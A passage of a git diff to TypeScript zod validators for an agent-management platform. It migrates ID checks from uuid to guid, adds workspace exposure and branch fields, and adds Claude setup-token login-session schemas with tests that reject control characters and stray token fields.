@@ -1,4 +1,5 @@
 import type { TrustAuthorizationPolicy } from "../trust-policy.js";
+import type { RuntimeExposureStatus } from "./runtime-exposure.js";
 
 export type ExecutionWorkspaceStrategyType =
   | "project_primary"
@@ -82,6 +83,12 @@ export interface ExecutionWorkspaceStrategy {
   type: ExecutionWorkspaceStrategyType;
   baseRef?: string | null;
   branchTemplate?: string | null;
+  /**
+   * Pin the worktree to this exact pre-existing branch instead of rendering
+   * `branchTemplate`. Realization attaches (never creates) the branch and
+   * fails closed when the branch does not exist or is not safely attachable.
+   */
+  existingBranch?: string | null;
   worktreeParentDir?: string | null;
   provisionCommand?: string | null;
   runtimeProvisionCommand?: string | null;
@@ -211,6 +218,8 @@ export interface WorkspaceOverviewPrimaryService {
   url: string | null;
   port: number | null;
   healthStatus: WorkspaceRuntimeService["healthStatus"];
+  /** HTTPS exposure state, surfaced separately from process `healthStatus`. */
+  exposure?: RuntimeExposureStatus | null;
   updatedAt: Date;
 }
 
@@ -305,6 +314,12 @@ export interface WorkspaceRuntimeService {
   stoppedAt: Date | null;
   stopPolicy: Record<string, unknown> | null;
   healthStatus: "unknown" | "healthy" | "unhealthy";
+  /**
+   * Structured HTTPS exposure state for the opt-in `tailscale_https` mode,
+   * modelled independently of `healthStatus` (process health). Null when the
+   * service does not opt into exposure. See PAP-17049 / PAP-17050.
+   */
+  exposure?: RuntimeExposureStatus | null;
   configIndex?: number | null;
   createdAt: Date;
   updatedAt: Date;
diff --git a/packages/shared/src/validators/access.ts b/packages/shared/src/validators/access.ts
index 021fba0bb75..cee3e5567ca 100644
--- a/packages/shared/src/validators/access.ts
+++ b/packages/shared/src/validators/access.ts
@@ -74,7 +74,7 @@ export const createCliAuthChallengeSchema = z.object({
   command: z.string().min(1).max(240),
   clientName: z.string().max(120).optional().nullable(),
   requestedAccess: boardCliAuthAccessLevelSchema.default("board"),
-  requestedCompanyId: z.string().uuid().optional().nullable(),
+  requestedCompanyId: z.string().guid().optional().nullable(),
 });
 
 export type CreateCliAuthChallenge = z.infer<typeof createCliAuthChallengeSchema>;
@@ -88,7 +88,7 @@ export type ResolveCliAuthChallenge = z.infer<typeof resolveCliAuthChallengeSche
 export const createBoardApiKeySchema = z.object({
   name: z.string().trim().min(1).max(120).default("paperclipai cli"),
   expiresAt: z.coerce.date().optional().nullable(),
-  requestedCompanyId: z.string().uuid().optional().nullable(),
+  requestedCompanyId: z.string().guid().optional().nullable(),
 });
 
 export type CreateBoardApiKey = z.infer<typeof createBoardApiKeySchema>;
@@ -128,8 +128,8 @@ export type UpdateCompanyMemberWithPermissions = z.infer<typeof updateCompanyMem
 export const archiveCompanyMemberSchema = z.object({
   reassignment: z
     .object({
-      assigneeAgentId: z.string().uuid().optional().nullable(),
-      assigneeUserId: z.string().uuid().optional().nullable(),
+      assigneeAgentId: z.string().guid().optional().nullable(),
+      assigneeUserId: z.string().guid().optional().nullable(),
     })
     .optional()
     .nullable(),
@@ -146,7 +146,7 @@ export const archiveCompanyMemberSchema = z.object({
 export type ArchiveCompanyMember = z.infer<typeof archiveCompanyMemberSchema>;
 
 export const updateUserCompanyAccessSchema = z.object({
-  companyIds: z.array(z.string().uuid()).default([]),
+  companyIds: z.array(z.string().guid()).default([]),
 });
 
 export type UpdateUserCompanyAccess = z.infer<typeof updateUserCompanyAccessSchema>;
diff --git a/packages/shared/src/validators/adapter-auth-session.ts b/packages/shared/src/validators/adapter-auth-session.ts
index 5a867a825b1..aed8b2aba02 100644
--- a/packages/shared/src/validators/adapter-auth-session.ts
+++ b/packages/shared/src/validators/adapter-auth-session.ts
@@ -18,8 +18,8 @@ export type AdapterAuthSessionFailure = z.infer<typeof adapterAuthSessionFailure
 // The public response schema. `.strict()` rejects an extra field, so a prompt, a
 // token, an account identifier, or a provider lease identifier never validates.
 export const adapterAuthSessionResponseSchema = z.object({
-  sessionId: z.string().uuid(),
-  environmentId: z.string().uuid(),
+  sessionId: z.string().guid(),
+  environmentId: z.string().guid(),
   status: adapterAuthSessionStatusSchema,
   expiresAt: isoDateTime.nullable(),
   failure: adapterAuthSessionFailureSchema.nullable(),
@@ -40,7 +40,7 @@ export type AdapterAuthSessionOwnerResponse =
   z.infer<typeof adapterAuthSessionOwnerResponseSchema>;
 
 export const startAdapterAuthSessionRequestSchema = z.object({
-  environmentId: z.string().uuid(),
+  environmentId: z.string().guid(),
   adapterType: z.enum(AGENT_ADAPTER_TYPES),
   ttlSeconds: z.number().int().min(60).max(24 * 60 * 60).optional(),
 }).strict();
diff --git a/packages/shared/src/validators/adapter-registry.ts b/packages/shared/src/validators/adapter-registry.ts
index dcab1a93e84..6fb9f655d49 100644
--- a/packages/shared/src/validators/adapter-registry.ts
+++ b/packages/shared/src/validators/adapter-registry.ts
@@ -8,7 +8,7 @@ export const adapterRegistryEntrySchema = z
     envKeys: z.array(z.string()).optional(),
     allowFqdns: z.array(z.string()).optional(),
     probeCommand: z.array(z.string()).optional(),
-    defaultEnv: z.record(z.string()).optional(),
+    defaultEnv: z.record(z.string(), z.string()).optional(),
   })
   .strict();
 
diff --git a/packages/shared/src/validators/adapter-skills.ts b/packages/shared/src/validators/adapter-skills.ts
index d0befc91103..ae43f7b180f 100644
--- a/packages/shared/src/validators/adapter-skills.ts
+++ b/packages/shared/src/validators/adapter-skills.ts
@@ -29,7 +29,7 @@ export const agentSkillAssignmentModeSchema = z.enum([
 
 export const agentDesiredSkillEntrySchema = z.object({
   key: z.string().min(1),
-  versionId: z.string().uuid().nullable(),
+  versionId: z.string().guid().nullable(),
 });
 
 export const agentDesiredSkillSelectionSchema = z.union([
@@ -40,8 +40,8 @@ export const agentDesiredSkillSelectionSchema = z.union([
 export const agentSkillEntrySchema = z.object({
   key: z.string().min(1),
   runtimeName: z.string().min(1).nullable(),
-  versionId: z.string().uuid().nullable().optional(),
-  currentVersionId: z.string().uuid().nullable().optional(),
+  versionId: z.string().guid().nullable().optional(),
+  currentVersionId: z.string().guid().nullable().optional(),
   desired: z.boolean(),
   managed: z.boolean(),
   state: agentSkillStateSchema,
diff --git a/packages/shared/src/validators/agent.ts b/packages/shared/src/validators/agent.ts
index a0d38cd9218..794438fa52e 100644
--- a/packages/shared/src/validators/agent.ts
+++ b/packages/shared/src/validators/agent.ts
@@ -9,6 +9,7 @@ import { agentAdapterTypeSchema } from "../adapter-type.js";
 import { envConfigSchema } from "./secret.js";
 import { trustAuthorizationPolicySchema, trustPresetSchema } from "./trust-policy.js";
 import { agentDesiredSkillSelectionSchema } from "./adapter-skills.js";
+import { objectWithoutDefaults } from "./partial.js";
 
 export const agentPermissionsSchema = z.object({
   canCreateAgents: z.boolean().optional().default(false),
@@ -73,17 +74,26 @@ export const createAgentSchema = z.object({
   role: z.enum(AGENT_ROLES).optional().default("general"),
   title: z.string().optional().nullable(),
   icon: z.enum(AGENT_ICON_NAMES).optional().nullable(),
-  reportsTo: z.string().uuid().optional().nullable(),
+  reportsTo: z.string().guid().optional().nullable(),
   capabilities: z.string().optional().nullable(),
   desiredSkills: z.array(agentDesiredSkillSelectionSchema).optional(),
   adapterType: agentAdapterTypeSchema,
   adapterConfig: adapterConfigSchema.optional().default({}),
   instructionsBundle: createAgentInstructionsBundleSchema.optional(),
   runtimeConfig: agentRuntimeConfigSchema.optional().default({}),
-  defaultEnvironmentId: z.string().uuid().optional().nullable(),
+  defaultEnvironmentId: z.string().guid().optional().nullable(),
   budgetMonthlyCents: z.number().int().nonnegative().optional().default(0),
   permissions: agentPermissionsSchema.optional(),
   metadata: z.record(z.string(), z.unknown()).optional().nullable(),
+  // The optional stored-session claim from a completed Claude login session. It
+  // is the non-secret `storedSessionId`; it carries no token. The agent-create
+  // transaction consumes it as the one-time stored-session claim.
+  storedSessionId: z.string().min(1).max(256).optional(),
+  // The optional apply-existing flag. When true, the caller binds the fixed
+  // Claude OAuth token reference to the owner stored value with no new login
+  // round trip. The server permits the no-claim bind only for a user actor and
+  // only when that owner already has a stored value. It carries no token.
+  applyStoredClaudeLogin: z.boolean().optional(),
 });
 
 export type CreateAgent = z.infer<typeof createAgentSchema>;
@@ -107,14 +117,15 @@ export const builtInAgentResetSchema = z.object({
 export type BuiltInAgentReset = z.infer<typeof builtInAgentResetSchema>;
 
 export const createAgentHireSchema = createAgentSchema.extend({
-  sourceIssueId: z.string().uuid().optional().nullable(),
-  sourceIssueIds: z.array(z.string().uuid()).optional(),
+  sourceIssueId: z.string().guid().optional().nullable(),
+  sourceIssueIds: z.array(z.string().guid()).optional(),
 });
 
 export type CreateAgentHire = z.infer<typeof createAgentHireSchema>;
 
-export const updateAgentSchema = createAgentSchema
-  .omit({ permissions: true })
+export const updateAgentSchema = objectWithoutDefaults(
+  createAgentSchema.omit({ permissions: true }),
+)
   .partial()
   .extend({
     permissions: z.never().optional(),
@@ -134,11 +145,11 @@ export type UpdateAgentInstructionsPath = z.infer<typeof updateAgentInstructions
 
 export const taskBridgeAgentKeyScopeSchema = z.object({
   kind: z.literal("task_bridge"),
-  projectId: z.string().uuid().optional().nullable(),
-  projectIds: z.array(z.string().uuid()).max(50).optional(),
-  parentIssueId: z.string().uuid().optional().nullable(),
-  parentIssueIds: z.array(z.string().uuid()).max(50).optional(),
-  allowedAssigneeAgentIds: z.array(z.string().uuid()).max(50).optional(),
+  projectId: z.string().guid().optional().nullable(),
+  projectIds: z.array(z.string().guid()).max(50).optional(),
+  parentIssueId: z.string().guid().optional().nullable(),
+  parentIssueIds: z.array(z.string().guid()).max(50).optional(),
+  allowedAssigneeAgentIds: z.array(z.string().guid()).max(50).optional(),
 }).strict().superRefine((value, ctx) => {
   const hasProjectBoundary = Boolean(value.projectId) || Boolean(value.projectIds?.length);
   const hasParentBoundary = Boolean(value.parentIssueId) || Boolean(value.parentIssueIds?.length);
@@ -157,7 +168,7 @@ export const standardAgentKeyScopeSchema = z.object({
 
 export const skillTestAgentKeyScopeSchema = z.object({
   kind: z.literal("skill_test"),
-  issueId: z.string().uuid(),
+  issueId: z.string().guid(),
 }).strict();
 
 export const agentApiKeyScopeSchema = z.union([
@@ -217,7 +228,7 @@ export const testAdapterEnvironmentSchema = z.object({
    * environment is non-local (SSH/sandbox), the test probes are executed
    * inside that environment so the result reflects real agent execution.
    */
-  environmentId: z.string().uuid().optional().nullable(),
+  environmentId: z.string().guid().optional().nullable(),
 });
 
 export type TestAdapterEnvironment = z.infer<typeof testAdapterEnvironmentSchema>;
diff --git a/packages/shared/src/validators/approval.ts b/packages/shared/src/validators/approval.ts
index d24efadd76f..c1c074dc2f0 100644
--- a/packages/shared/src/validators/approval.ts
+++ b/packages/shared/src/validators/approval.ts
@@ -4,9 +4,9 @@ import { multilineTextSchema } from "./text.js";
 
 export const createApprovalSchema = z.object({
   type: z.enum(APPROVAL_TYPES),
-  requestedByAgentId: z.string().uuid().optional().nullable(),
+  requestedByAgentId: z.string().guid().optional().nullable(),
   payload: z.record(z.string(), z.unknown()),
-  issueIds: z.array(z.string().uuid()).optional(),
+  issueIds: z.array(z.string().guid()).optional(),
 });
 
 export type CreateApproval = z.infer<typeof createApprovalSchema>;
diff --git a/packages/shared/src/validators/artifact.ts b/packages/shared/src/validators/artifact.ts
index e8b14e8e8b8..92e31026913 100644
--- a/packages/shared/src/validators/artifact.ts
+++ b/packages/shared/src/validators/artifact.ts
@@ -12,10 +12,10 @@ export const companyArtifactGroupBySchema = z.enum(["none", "task", "parent_task
 
 export const companyArtifactsQuerySchema = z.object({
   kind: z.enum(["image", "video", "text", "document", "file", "all"]).optional().default("all"),
-  projectId: z.string().uuid().optional(),
+  projectId: z.string().guid().optional(),
   q: z.string().trim().max(COMPANY_ARTIFACTS_MAX_QUERY_LENGTH).optional(),
   groupBy: companyArtifactGroupBySchema.optional().default("none"),
-  groupIssueId: z.string().uuid().optional(),
+  groupIssueId: z.string().guid().optional(),
   starred: z.preprocess(
     (value) => value === "true" ? true : value === "false" ? false : value,
     z.boolean(),
@@ -41,16 +41,16 @@ export const companyArtifactSchema = z.object({
   openPath: z.string().nullable(),
   downloadPath: z.string().nullable(),
   issue: z.object({
-    id: z.string().uuid(),
+    id: z.string().guid(),
     identifier: z.string(),
     title: z.string(),
   }),
   project: z.object({
-    id: z.string().uuid(),
+    id: z.string().guid(),
     name: z.string(),
   }).nullable(),
   createdByAgent: z.object({
-    id: z.string().uuid(),
+    id: z.string().guid(),
     name: z.string(),
   }).nullable(),
   updatedAt: z.string().datetime(),
@@ -61,7 +61,7 @@ export const companyArtifactGroupSchema = z.object({
   id: z.string().min(1),
   groupBy: companyArtifactGroupBySchema.exclude(["none"]),
   issue: z.object({
-    id: z.string().uuid(),
+    id: z.string().guid(),
     identifier: z.string(),
     title: z.string(),
   }),
diff --git a/packages/shared/src/validators/budget.ts b/packages/shared/src/validators/budget.ts
index abae5a90ddc..55f629c8f4d 100644
--- a/packages/shared/src/validators/budget.ts
+++ b/packages/shared/src/validators/budget.ts
@@ -8,7 +8,7 @@ import {
 
 export const upsertBudgetPolicySchema = z.object({
   scopeType: z.enum(BUDGET_SCOPE_TYPES),
-  scopeId: z.string().uuid(),
+  scopeId: z.string().guid(),
   metric: z.enum(BUDGET_METRICS).optional().default("billed_cents"),
   windowKind: z.enum(BUDGET_WINDOW_KINDS).optional().default("calendar_month_utc"),
   amount: z.number().int().nonnegative(),
diff --git a/packages/shared/src/validators/claude-setup-token-session.test.ts b/packages/shared/src/validators/claude-setup-token-session.test.ts
new file mode 100644
index 00000000000..2e672819bfb
--- /dev/null
+++ b/packages/shared/src/validators/claude-setup-token-session.test.ts
@@ -0,0 +1,141 @@
+import { describe, expect, it } from "vitest";
+import {
+  BROWSER_CODE_MAX_LENGTH,
+  browserCodeSchema,
+  claudeSetupTokenCompletionResponseSchema,
+  claudeSetupTokenSessionOwnerResponseSchema,
+  isValidBrowserCode,
+  startClaudeSetupTokenSessionRequestSchema,
+  submitBrowserCodeRequestSchema,
+} from "./claude-setup-token-session.js";
+import { createAgentSchema, createAgentHireSchema } from "./agent.js";
+
+const ENVIRONMENT_ID = "11111111-1111-4111-8111-111111111111";
+
+describe("claude setup-token session start request", () => {
+  it("accepts a company-and-environment request with no agent id", () => {
+    const parsed = startClaudeSetupTokenSessionRequestSchema.parse({
+      environmentId: ENVIRONMENT_ID,
+      adapterType: "claude_local",
+    });
+    expect(parsed.environmentId).toBe(ENVIRONMENT_ID);
+    expect(parsed.adapterType).toBe("claude_local");
+  });
+
+  it("rejects a legacy ttlSeconds: the runtime does not support it", () => {
+    const result = startClaudeSetupTokenSessionRequestSchema.safeParse({
+      environmentId: ENVIRONMENT_ID,
+      adapterType: "claude_local",
+      ttlSeconds: 300,
+    });
+    expect(result.success).toBe(false);
+  });
+
+  it("rejects an agent id: the scope carries no agent id", () => {
+    const result = startClaudeSetupTokenSessionRequestSchema.safeParse({
+      environmentId: ENVIRONMENT_ID,
+      adapterType: "claude_local",
+      agentId: "22222222-2222-4222-8222-222222222222",
+    });
+    expect(result.success).toBe(false);
+  });
+});
+
+describe("browser-code grammar", () => {
+  it("accepts a conservative printable code", () => {
+    const code = "ac_012-AZ_az.9#state";
+    expect(browserCodeSchema.parse(code)).toBe(code);
+    expect(isValidBrowserCode(code)).toBe(true);
+  });
+
+  it("rejects a carriage return, a line feed, a NUL, and a control byte", () => {
+    for (const bad of ["ab\rcd", "ab\ncd", "ab\u0000cd", "ab\u0001cd", "ab\u007fcd", "ab cd", "ab\tcd"]) {
+      expect(browserCodeSchema.safeParse(bad).success).toBe(false);
+      expect(isValidBrowserCode(bad)).toBe(false);
+    }
+  });
+
+  it("rejects a trailing newline that an anchored regex would let pass", () => {
+    // The runtime `.refine()` is the authoritative guard. JavaScript `$`
+    // matches before a final line feed, so an anchored printable-ASCII regex
+    // accepts a trailing newline. The `.refine()` closes that trap.
+    expect(browserCodeSchema.safeParse("abc\n").success).toBe(false);
+    expect(isValidBrowserCode("abc\n")).toBe(false);
+  });
+
+  it("rejects a single control byte and accepts a printable code", () => {
+    expect(browserCodeSchema.safeParse("abc").success).toBe(true);
+    expect(browserCodeSchema.safeParse("valid-code_123").success).toBe(true);
+  });
+
+  it("rejects an empty code", () => {
+    expect(browserCodeSchema.safeParse("").success).toBe(false);
+    expect(isValidBrowserCode("")).toBe(false);
+  });
+
+  it("rejects an oversized code", () => {
+    const oversized = "a".repeat(BROWSER_CODE_MAX_LENGTH + 1);
+    expect(browserCodeSchema.safeParse(oversized).success).toBe(false);
+    expect(isValidBrowserCode(oversized)).toBe(false);
+    const atLimit = "a".repeat(BROWSER_CODE_MAX_LENGTH);
+    expect(browserCodeSchema.parse(atLimit)).toBe(atLimit);
+  });
+
+  it("wraps the grammar in the submit-browser-code request and rejects an extra field", () => {
+    expect(submitBrowserCodeRequestSchema.parse({ browserCode: "abc123" }).browserCode).toBe(
+      "abc123",
+    );
+    expect(submitBrowserCodeRequestSchema.safeParse({ browserCode: "a\nb" }).success).toBe(false);
+    expect(
+      submitBrowserCodeRequestSchema.safeParse({ browserCode: "abc", extra: 1 }).success,
+    ).toBe(false);
+  });
+});
+
+describe("claude setup-token owner response and completion response", () => {
+  it("accepts an owner response with the submitted-browser-code panel mode and a prompt", () => {
+    const parsed = claudeSetupTokenSessionOwnerResponseSchema.parse({
+      sessionId: "opaque-base64url-session-id",
+      environmentId: ENVIRONMENT_ID,
+      status: "waiting_for_user",
+      expiresAt: null,
+      failure: null,
+      panelMode: "submitted_browser_code",
+      prompt: { authorizationUrl: "https://example.test/authorize" },
+    });
+    expect(parsed.panelMode).toBe("submitted_browser_code");
+    expect(parsed.prompt?.authorizationUrl).toBe("https://example.test/authorize");
+  });
+
+  it("rejects a token on the completion response: the claim carries no token", () => {
+    expect(
+      claudeSetupTokenCompletionResponseSchema.parse({ storedSessionId: "session-claim" })
+        .storedSessionId,
+    ).toBe("session-claim");
+    const withToken = claudeSetupTokenCompletionResponseSchema.safeParse({
+      storedSessionId: "session-claim",
+      token: "secret",
+    });
+    expect(withToken.success).toBe(false);
+  });
+});
+
+describe("agent create and hire carry an optional stored-session claim", () => {
+  const base = { name: "Claude Agent", adapterType: "claude_local" as const };
+
+  it("accepts a create request without a stored-session claim", () => {
+    expect(createAgentSchema.parse({ ...base }).storedSessionId).toBeUndefined();
+  });
+
+  it("accepts a create request with a stored-session claim", () => {
+    expect(
+      createAgentSchema.parse({ ...base, storedSessionId: "session-claim" }).storedSessionId,
+    ).toBe("session-claim");
+  });
+
+  it("accepts a hire request with a stored-session claim", () => {
+    expect(
+      createAgentHireSchema.parse({ ...base, storedSessionId: "session-claim" }).storedSessionId,
+    ).toBe("session-claim");
+  });
+});
diff --git a/packages/shared/src/validators/claude-setup-token-session.ts b/packages/shared/src/validators/claude-setup-token-session.ts
new file mode 100644
index 00000000000..663782e8b7b
--- /dev/null
+++ b/packages/shared/src/validators/claude-setup-token-session.ts
@@ -0,0 +1,170 @@
+import { z } from "zod";
+import { AGENT_ADAPTER_TYPES } from "../constants.js";
+import { ADAPTER_AUTH_PANEL_MODES, SETUP_TOKEN_TRANSPORT_ADVISORY_CODE } from "../types/agent.js";
+import {
+  adapterAuthSessionFailureSchema,
+  adapterAuthSessionStatusSchema,
+} from "./adapter-auth-session.js";
+
+const isoDateTime = z.union([z.date(), z.string().datetime()]);
+
+// The transport advisory schema. A guarded confidential response carries it when
+// the login rides a non-confidential transport. The client shows a disclaimer.
+export const setupTokenTransportAdvisorySchema = z.object({
+  code: z.literal(SETUP_TOKEN_TRANSPORT_ADVISORY_CODE),
+}).strict();
+export type SetupTokenTransportAdvisory = z.infer<typeof setupTokenTransportAdvisorySchema>;
+
+// The confirmed-overwrite capture for a replacement login. The client reads the
+// stored value metadata from the status route and passes it back when it starts
+// a replacement login. The server maps it to the owner-bound compare-and-set: it
+// rotates the value only when the captured version still matches. The server
+// still derives the owner and the definition; this body carries no owner. A
+// missing capture starts a first-write login instead.
+export const claudeSetupTokenOverwriteSchema = z.object({
+  expectedSecretId: z.string().guid(),
+  expectedLatestVersion: z.number().int().min(1),
+}).strict();
+export type ClaudeSetupTokenOverwrite =
+  z.infer<typeof claudeSetupTokenOverwriteSchema>;
+
+// The start request for a company-and-environment Claude login session. The
+// company and the owner user come from the authenticated caller, not from this
+// body. The body names the adapter and the environment of the login. It reuses
+// the adapter login-session request fields; every field has the same meaning.
+//
+// The optional `overwrite` capture turns the login into a confirmed replacement.
+// The client sends it only after a stored token fails the agent test. The server
+// rotates the stored value under the captured version, so a concurrent change
+// fails closed with a stale conflict.
+//
+// `.strict()` rejects an extra field, so an agent id never validates. The scope
+// carries no agent id: a hire flow with no agent still starts one session. The
+// runtime does not support a caller-supplied session length, so the schema
+// exposes no `ttlSeconds` field; a legacy `ttlSeconds` fails the strict parse.
+export const startClaudeSetupTokenSessionRequestSchema = z.object({
+  environmentId: z.string().guid(),
+  adapterType: z.enum(AGENT_ADAPTER_TYPES),
+  overwrite: claudeSetupTokenOverwriteSchema.optional(),
+}).strict();
+export type StartClaudeSetupTokenSessionRequest =
+  z.infer<typeof startClaudeSetupTokenSessionRequestSchema>;
+
+// The panel-mode schema. It accepts only the two known panel modes.
+export const adapterAuthPanelModeSchema = z.enum(ADAPTER_AUTH_PANEL_MODES);
+export type AdapterAuthPanelMode = z.infer<typeof adapterAuthPanelModeSchema>;
+
+// The session id is an opaque, cryptographically random string, not a UUID. So
+// the schema accepts a bounded opaque string, not a UUID.
+const sessionIdSchema = z.string().min(1).max(256);
+
+// The public Claude login-session response schema. `.strict()` rejects an extra
+// field, so a prompt, a token, an account identifier, or a provider lease
+// identifier never validates.
+export const claudeSetupTokenSessionResponseSchema = z.object({
+  sessionId: sessionIdSchema,
+  environmentId: z.string().guid(),
+  status: adapterAuthSessionStatusSchema,
+  expiresAt: isoDateTime.nullable(),
+  failure: adapterAuthSessionFailureSchema.nullable(),
+  transportAdvisory: setupTokenTransportAdvisorySchema.nullable().optional(),
+}).strict();
+export type ClaudeSetupTokenSessionResponse =
+  z.infer<typeof claudeSetupTokenSessionResponseSchema>;
+
+// The one-time Claude login prompt schema. It carries the authorization URL the
+// user opens. It carries no server-displayed code.
+export const claudeSetupTokenSessionPromptSchema = z.object({
+  authorizationUrl: z.string().min(1),
+  transportAdvisory: setupTokenTransportAdvisorySchema.nullable().optional(),
+}).strict();
+export type ClaudeSetupTokenSessionPrompt =
+  z.infer<typeof claudeSetupTokenSessionPromptSchema>;
+
+// The owner read schema. It adds the panel mode and the one-time prompt to the
+// public response.
+export const claudeSetupTokenSessionOwnerResponseSchema =
+  claudeSetupTokenSessionResponseSchema.extend({
+    panelMode: adapterAuthPanelModeSchema,
+    prompt: claudeSetupTokenSessionPromptSchema.nullable(),
+  }).strict();
+export type ClaudeSetupTokenSessionOwnerResponse =
+  z.infer<typeof claudeSetupTokenSessionOwnerResponseSchema>;
+
+// The bounded maximum length of a browser code. The provider code is short. The
+// server rejects an oversized code before it reaches the live login process.
+export const BROWSER_CODE_MAX_LENGTH = 512;
+
+// The conservative printable grammar for the submitted browser code. It matches
+// one character outside the visible ASCII range (0x21-0x7E). The validator
+// rejects a code that contains a match, so it rejects a space, a carriage
+// return, a line feed, a NUL, and every other control byte. A later
+// characterization test narrows this set to the exact provider format.
+export const BROWSER_CODE_DISALLOWED_CHAR = /[^\x21-\x7E]/;
+
+/**
+ * Returns true when the browser code obeys the grammar. The code has one or more
+ * characters, no character outside the visible ASCII range, and a length at or
+ * below the bounded maximum.
+ */
+export function isValidBrowserCode(code: string): boolean {
+  return (
+    code.length >= 1 &&
+    code.length <= BROWSER_CODE_MAX_LENGTH &&
+    !BROWSER_CODE_DISALLOWED_CHAR.test(code)
+  );
+}
+
+// The printable-ASCII allowlist pattern for the published contract. It is an
+// anchored allowlist of the visible ASCII range (0x21-0x7E). The converter reads
+// this `.regex()` from the inner `ZodString` and emits it as the OpenAPI
+// `pattern`. It is NOT the authoritative guard: JavaScript `$` matches before a
+// final line feed, so this pattern accepts a trailing newline. The `.refine()`
+// below is the authoritative guard that rejects a trailing newline.
+export const BROWSER_CODE_PATTERN = /^[\x21-\x7E]+$/u;
+
+// The browser-code grammar schema. It rejects an empty code, an oversized code,
+// and a code with a control byte or any other non-printable character. The
+// `.regex()` runs before the `.refine()` so the converter serializes its
+// `pattern`; the `.refine()` stays the authoritative guard.
+export const browserCodeSchema = z
+  .string()
+  .min(1, "A browser code is required.")
+  .max(BROWSER_CODE_MAX_LENGTH, "The browser code is too long.")
+  .regex(BROWSER_CODE_PATTERN, "The browser code has an invalid character.")
+  .refine((code) => !BROWSER_CODE_DISALLOWED_CHAR.test(code), {
+    message: "The browser code has an invalid character.",
+  });
+export type BrowserCode = z.infer<typeof browserCodeSchema>;
+
+// The submit-browser-code request schema. `.strict()` rejects an extra field.
+export const submitBrowserCodeRequestSchema = z.object({
+  browserCode: browserCodeSchema,
+}).strict();
+export type SubmitBrowserCodeRequest =
+  z.infer<typeof submitBrowserCodeRequestSchema>;
+
+// The stored-session claim schema. The `storedSessionId` is the opaque durable
+// session id. It is a non-secret claim; it carries no token.
+export const storedSessionIdSchema = z.string().min(1).max(256);
+
+// The completion response schema. It carries the non-secret `storedSessionId`
+// claim and no token. `.strict()` rejects an extra field, so a token never
+// validates.
+export const claudeSetupTokenCompletionResponseSchema = z.object({
+  storedSessionId: storedSessionIdSchema,
+}).strict();
+export type ClaudeSetupTokenCompletionResponse =
+  z.infer<typeof claudeSetupTokenCompletionResponseSchema>;
+
+// The stored Claude OAuth token status response schema. It carries only the
+// secret id and the latest version of the owner value; it carries no token.
+// `.strict()` rejects an extra field, so a token never validates. The status
+// route returns a fixed 404 for a missing or a foreign value, so a 200 body
+// always describes a present owner value.
+export const claudeOAuthTokenStatusResponseSchema = z.object({
+  secretId: z.string().guid(),
+  latestVersion: z.number().int().min(1),
+}).strict();
+export type ClaudeOAuthTokenStatusResponse =
+  z.infer<typeof claudeOAuthTokenStatusResponseSchema>;
diff --git a/packages/shared/src/validators/company-portability.ts b/packages/shared/src/validators/company-portability.ts
index dcd1bdc4db5..c14c310ffe0 100644
--- a/packages/shared/src/validators/company-portability.ts
+++ b/packages/shared/src/validators/company-portability.ts
@@ -236,7 +236,7 @@ export const portabilityManifestSchema = z.object({
   generatedAt: z.string().datetime(),
   source: z
     .object({
-      companyId: z.string().uuid(),
+      companyId: z.string().guid(),
       companyName: z.string().min(1),
     })
     .nullable(),
@@ -283,7 +283,7 @@ export const portabilityTargetSchema = z.discriminatedUnion("mode", [
   }),
   z.object({
     mode: z.literal("existing_company"),
-    companyId: z.string().uuid(),
+    companyId: z.string().guid(),
   }),
 ]);
 
diff --git a/packages/shared/src/validators/company-skill.ts b/packages/shared/src/validators/company-skill.ts
index 70bcafde27d..3d01903c1d9 100644
--- a/packages/shared/src/validators/company-skill.ts
+++ b/packages/shared/src/validators/company-skill.ts
@@ -18,9 +18,9 @@ export const companySkillVersionFileInventoryEntrySchema = companySkillFileInven
 });
 
 export const companySkillSchema = z.object({
-  id: z.string().uuid(),
-  companyId: z.string().uuid(),
-  folderId: z.string().uuid().nullable().optional(),
+  id: z.string().guid(),
+  companyId: z.string().guid(),
+  folderId: z.string().guid().nullable().optional(),
   folderPath: z.string().nullable().optional(),
   key: z.string().min(1),
   slug: z.string().min(1),
@@ -41,12 +41,12 @@ export const companySkillSchema = z.object({
   categories: z.array(z.string().min(1)).default([]),
   sharingScope: companySkillSharingScopeSchema,
   publicShareToken: z.string().nullable(),
-  forkedFromSkillId: z.string().uuid().nullable(),
-  forkedFromCompanyId: z.string().uuid().nullable(),
+  forkedFromSkillId: z.string().guid().nullable(),
+  forkedFromCompanyId: z.string().guid().nullable(),
   starCount: z.number().int().nonnegative(),
   installCount: z.number().int().nonnegative(),
   forkCount: z.number().int().nonnegative(),
-  currentVersionId: z.string().uuid().nullable(),
+  currentVersionId: z.string().guid().nullable(),
   metadata: z.record(z.string(), z.unknown()).nullable(),
   createdAt: z.coerce.date(),
   updatedAt: z.coerce.date(),
@@ -71,7 +71,7 @@ export const companySkillListItemSchema = companySkillSchema.extend({
 });
 
 export const companySkillUsageAgentSchema = z.object({
-  id: z.string().uuid(),
+  id: z.string().guid(),
   name: z.string().min(1),
   urlKey: z.string().min(1),
   adapterType: z.string().min(1),
@@ -79,11 +79,11 @@ export const companySkillUsageAgentSchema = z.object({
   actualState: z.string().nullable().describe(
     "Runtime adapter skill state when explicitly fetched; company skill detail reads return null without probing agent runtimes.",
   ),
-  versionId: z.string().uuid().nullable(),
+  versionId: z.string().guid().nullable(),
 });
 
 export const companySkillOriginalSummarySchema = z.object({
-  id: z.string().uuid(),
+  id: z.string().guid(),
   name: z.string().min(1),
   slug: z.string().min(1),
   sourceType: companySkillSourceTypeSchema,
@@ -93,9 +93,9 @@ export const companySkillOriginalSummarySchema = z.object({
 
 export const companySkillForkSummarySchema = companySkillOriginalSummarySchema.extend({
   key: z.string().min(1),
-  forkedFromSkillId: z.string().uuid().nullable(),
-  forkedFromCompanyId: z.string().uuid().nullable(),
-  currentVersionId: z.string().uuid().nullable(),
+  forkedFromSkillId: z.string().guid().nullable(),
+  forkedFromCompanyId: z.string().guid().nullable(),
+  currentVersionId: z.string().guid().nullable(),
   createdByCurrentActor: z.boolean(),
   diverged: z.boolean(),
   createdAt: z.coerce.date(),
@@ -108,7 +108,7 @@ export const companySkillListQuerySchema = z.object({
   categories: z.array(z.string().min(1)).optional(),
   scope: companySkillSharingScopeSchema.optional(),
   include: z.array(companySkillListIncludeSchema).optional(),
-  folderId: z.string().uuid().optional(),
+  folderId: z.string().guid().optional(),
   includeSubtree: z.boolean().optional(),
 });
 
@@ -118,13 +118,13 @@ export const companySkillCategoryCountSchema = z.object({
 });
 
 export const companySkillVersionSchema = z.object({
